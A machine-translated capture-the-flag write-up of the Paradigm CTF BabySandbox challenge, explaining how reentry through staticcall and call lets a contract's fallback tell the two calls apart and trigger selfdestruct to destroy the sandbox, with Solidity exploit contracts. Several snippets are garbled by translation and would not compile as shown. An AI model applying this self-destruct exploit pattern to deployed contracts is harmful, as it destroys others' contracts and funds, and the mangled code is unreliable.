Paradigm CTF-StaticCall

This topic is one of CTF series of Paradigm, which belongs to a relatively simple topic. It mainly examines StaticCall.

The author is currently looking for work related to smart contracts and would like to talk more with people in the industry 🐟. If you think my writing is good, you can add my wechat account: Woodward1993

Topic introduction:

Extcodesize (sload(sandbox.slot)==0; extCodesize (sload(sandbox.slot)==0; :fish:

Contract analysis:

A setup and a babysandbox. It is much simpler than the previous subject agency agreement.

  • Setup contract: A criterion, extCodesize (sload(sandbox.slot)==0, is given to determine whether the challenge has been completed

  • Babysandbox contract: There is only one method, run(address), which has the following characteristics:

    : Triangular_FLAG_ON_POST: No nonReentrancy modifier and can be re-entered

    : triangular_flag_on_post: delegateCall exist in the contract, staticCall, call, and contracts the main logic is through delegateCall, staticCall, call

Logical analysis:

The logical analysis of this topic is very similar to that of Paradigm McTf-bank last time. The topic of Bank also has re-entry sites, and the re-entry sites have their own restrictions, and the modified state of each site is different. So this time we can use the same logic to analyze the remote call sites and their limitations.

Remote call point limit State changes
delegatecall(code) msg.sender==address(this) 0=>revert,1=>return
staticcall(address()) NA 0=>revert
call(address()) NA 0=>codecopy,1=>return

:fast_forward: forward and backward analysis:

In a nutshell, our external contract calls the babysandbox.run(code) method by calling the exploit() method, passing in the address of the external contract as a parameter. According to the following flow chart, msg.sender == address(this) will be judged first, that is, whether it is called by the contract itself. Because we are calling the contract externally, so the msg.sender is the address of the code contract, check no. Then enter the staticcall(Address (this)) section, which re-enters its contract and again calls the babysandBox.run (code) method. Note that msg.sender is equal to address(this) because it is a re-entry. So the decision goes into the delegatecAll (code) logic. In delegatecAll (code) logic, the fallback() method that calls the external contract code is actually called. Note that staticcall is the calling environment, so it should return SUCCESS directly. Staticcall (Address (this)) pass, call(Address (this)), same arguments, same logical process. The only way to destroy a babysandbox contract is to execute selfdestruct(tx.origin) in the code.fallback() function, instead of returning directly.

st=>start: code.exploit()
op=>operation: babysandbox.run(code)
delegate=>operation: delegatecall(code)
static=>operation: staticcall or call(address(this))
fallback=>operation: code.fallback()
selfdestruct=>operation: selfdestruct()
cond=>condition: msg.sender == address(this)
cond2=>condition: success?
cond3=>condition: staticcall or call
e=>end: revert
revert=>end: revert
return=>operation: return
call=>operation: call(address(this))

st->op->cond
cond(yes)->delegate
cond(no)->static
static->op
delegate->fallback
fallback->cond3
cond3(yes)->cond2
cond3(no)->selfdestruct->cond2
cond2(yes)->return
cond2(no)->revert


Copy the code

:cat: Note 1: Understand the parameters of the call call

Call (0x4000, address(), 0, 0, Calldatasize (), 0, 0) => Gas quantity = 0x4000 Is the MEM in memory [0x00:0x00+calldatasize()], that is, the return value of callData when the external call is copied 0Copy the code

Combined with the OPCODE analysis of CALL in the previous article, we can see that it is actually a re-call of callData from the previous external CALL. It’s actually reentry.

:cat: Note 2: Understanding the Delegatecall call

Since code.fallback() is executed in the context of DelegatecAll. Note the nature of Delegatecall, where memory and storage are local contracts and code is remote contracts. When writing fallback(), be aware of the context in which arguments are read.

:fast_forward: collates into call stack

Therefore, we organize the above flow chart into the call stack as follows:

code.exploit() ->babysandbox.run(code) ->babysandbox.staticcall(address(this)) ->babysandbox.run(code) ->babysandbox.delegatecall(code) ->code.fallback() return // Satisfy staticcall, cannot change any address, Call (address(this)) ->babysandbox.run(code) ->babysandbox.delegatecall(code) ->code.fallback() Selfdestruct // Satisfies the title requirement, allowing a babysandbox contract to self-destructCopy the code

At this point, we see that the key to the problem is the code.fallback() method, which needs to perform different logic in staticcall and Call. We can write pseudocode like this:

pragma solidity 0.7. 0;
import "./Setup.sol";
contract CODE1 {
    Setup public setup;
    BabySandbox public babysandbox;
    constructor(address _setup) public {
        setup = Setup(_setup);
        babysandbox = setup.sandbox();
    }
    fallback() external payable{
        
        if (something) {
            return;
        } else{ selfdestruct(tx.origin); }}function exploit() public {
        babysandbox.run(address(this)); }}Copy the code

Problem simplification:

At this point, the question becomes, how can our fallback function determine whether it is called by call or staticcall?

Of course, based on our previous experience, to make the same function show different logic in different calls, we can use the following three methods:

Idea 1: Global variables

With global variables, change the value of a global variable depending on the condition on each call. The next time it is called, different logic is executed, depending on the value of the global variable. A typical use is Paradigm CTF- bank: Here reentry is a global variable, set to 1 at initialization, show logic 1, change its value in logic 1, and then re-enter the contract to execute a different logic. However, in the context of staticcall, it is not allowed to change the state and not allowed to change the value of the global variable. This method cannot be used.

uint reentry = 1;
function balanceOf(address who) public returns (uint){
        // withdrawToken 1 [0, 1]
        // closeAcc [0, 0]
        // depositToken 1 [0, 1]
        // closeAcc [0, 0]
        // depositToken 2 [1, 0]
        // withdrawToken 2 [0, -1]
        if (reentry == 1) {
            reentry = 0;
            Bank(bank).closeLastAccount();
            reentry = 2;
            Bank(bank).depositToken(0, address(this), 0);
        } else if (reentry == 2) {
            Bank(bank).closeLastAccount();
            reentry = 0;
        } 
        return 0;
        

    }
Copy the code

Idea 2: Gas quantity

Judge by the remaining Gas. At this time, we observed that his execution sequence was to execute staticcall first and then call. Therefore, if we judge gasleft(), the one with more gas is the first execution, namely staticcall; the one with less gas is the second execution, namely call

fallback() external payable{
        
    if (gasleft() > _value) {
        return;
    } else{ selfdestruct(tx.origin); }}Copy the code

But in this case, it blocks that judgment by setting the total amount of gas per call. In both staticcall and Call, the total amount of gas per call is 0x4000.

Idea 3: Staticcall is different from Call

According to IP-214, the nature of Staticcall is forbidden to modify any address and contract status, that is, it is not allowed to use OPCODE such as Create,create2, log0-4,sstore,selfdestruct and ETH transfer. Call allows state changes. Instead, we can take advantage of this by calling a method of an external address in the context, which modifies the state. This uses the return value of CALL from OPCODE. If a remote address is returned by CALL, it does not REVERT completely. Instead, it returns 0. If the CALL remote address succeeds, the flag returns a value of 1.


mu s [ 0 ] x \boldsymbol{\mu}’_{\mathbf{s}}[0] \equiv x\\

Return X=0 if there is an abnormal pause, such as REVERT, or there is not enough ETH, or the stack depth exceeds 1024. Otherwise, return X=1

pragma solidity 0.7. 0;
import "./Setup.sol";
contract CODE3 {
    Setup public setup;
    BabySandbox public babysandbox;
    constructor(address _setup) public {
        setup = Setup(_setup);
        babysandbox = setup.sandbox();
    }
    fallback() external payable{
        bool flag;
        assembly{
            let code2_addr := 0x5e17b14ADd6c386305A32928F985b29bbA34Eff5 // Address after CODE2 is deployed
            flag := call(gas(),code2_addr,0.0.0.0.0)}if(! flag) {return;
        } else{ selfdestruct(tx.origin); }}function exploit() public {
        babysandbox.run(address(this));
    }
}
contract CODE2 { / / after deployment CODE2 address is: 0 x5e17b14add6c386305a32928f985b29bba34eff5fallback() external payable{ selfdestruct(tx.origin); }}Copy the code